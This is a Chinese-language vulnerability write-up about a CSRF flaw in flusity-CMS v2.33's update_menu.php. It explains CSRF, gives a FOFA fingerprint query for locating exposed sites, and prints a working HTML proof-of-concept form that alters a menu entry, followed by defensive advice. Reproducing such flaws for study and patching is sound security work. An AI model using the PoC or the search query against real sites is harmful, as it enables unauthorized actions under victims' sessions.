免责申明:本文内容为学习笔记分享,仅供技术学习参考,请勿用作违法用途,任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责,与本平台和发布者无关!!!


漏洞名称

flusity-2.33 CSRF漏洞

CSRF漏洞原理

  终于遇到一个热乎的CSRF漏洞,虽然覆盖面小,但还是学习下,先了解下什么是CSRF。

  CSRF(Cross-site request forgery)跨站请求伪造,是一种劫持用户身份,以用户名义进行非预期操作,通常发生在用户在访问恶意网站或收到恶意邮件后。

  攻击者通过一些方式诱使用户进入一个恶意网站,然后在该站点中插入一个链接或表单,该链接或表单通过用户的浏览器发出非预期的请求,伪造用户身份执行某种操作,如修改密码、转账、发布帖子等。

  CSRF与XSS听起来很像,但攻击方式完全不同。XSS攻击是利用受信任的站点攻击客户端用户,而CSRF是伪装成受信任的用户攻击受信任的站点。

条件:

  • 用户已经登录了目标网站或应用程序。

  • 目标网站或应用程序没有使用CSRF令牌来保护请求。

  • 攻击者能够构造出伪造的请求并将其发送到目标网站或应用程序。

  • 用户在浏览器中打开了恶意网站或点击了恶意链接,从而使攻击者能够利用用户的身份进行 CSRF 攻击。

漏洞影响

flusity-CMS v2.33版本

开源地址:https://github.com/flusity/flusity-CMS

漏洞描述

flusity-CMS v2.33中的组件/core/tools/update_menu.php存在跨站请求伪造(CSRF)漏洞。攻击者可以通过利用该漏洞来执行未经授权的操作,可能导致用户的信息泄露或攻击者获取对系统的未授权访问权限。建议及时升级软件版本或采取其他安全措施来修复该漏洞。

FOFA搜索语句

icon_hash="1107917621"

漏洞复现

POC


<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1/core/tools/update_menu.php" method="POST">
      <input type="hidden" name="action" value="update&#95;menu" />
      <input type="hidden" name="menu&#95;id" value="12" />
      <input type="hidden" name="menu&#95;name" value="Kontaktai123" />
      <input type="hidden" name="lang&#95;menu&#95;name" value="Contact" />
      <input type="hidden" name="page&#95;url" value="contacts" />
      <input type="hidden" name="position" value="2" />
      <input type="hidden" name="template" value="template&#95;contacts" />
      <input type="hidden" name="show&#95;in&#95;menu" value="1" />
      <input type="hidden" name="parent&#95;id" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

漏洞复现成功

修复建议

升级到最新版。

CSRF防范建议

1. 使用 CSRF 令牌:

在用户登录后为每个用户生成一个唯一的 CSRF 令牌,并在用户发起 POST 请求时将该令牌作为一个隐藏字段或请求头信息一同提交到服务器。服务器会对提交的 CSRF 令牌进行验证,只有在令牌正确的情况下才会接受该请求并执行相应操作。这种方式被称为 CSRF 防御的 “双重提交” 策略,可以有效地防范 CSRF 攻击。

2. 检查来源站点:

服务器可以检查请求来源站点,如果来源站点不是当前用户正在访问的站点,则拒绝该请求。这种方式需要服务器端的支持,且可能会降低用户的使用体验。

3. 避免使用敏感操作的 GET 请求:

敏感操作,例如修改密码、转账等,不应该使用 GET 请求,因为 GET 请求的参数可以被直接暴露在 URL 中,容易被攻击者利用。应该使用 POST 请求或其他安全的方式来进行敏感操作。

4. 设置 SameSite 属性:

SameSite 属性可以防止跨站点请求伪造攻击,它可以告诉浏览器只有来自同一站点的请求才应该被发送到服务器,可以在 cookie 中设置 SameSite 属性来实现。

5. 使用反 CSRF 令牌:

反 CSRF 令牌是在请求中添加一个特定的参数来表示该请求是用户主动发起的,而不是被恶意网站发起的。服务器端会验证该参数的合法性,如果该参数不存在或不正确,则认为该请求是恶意的并拒绝执行。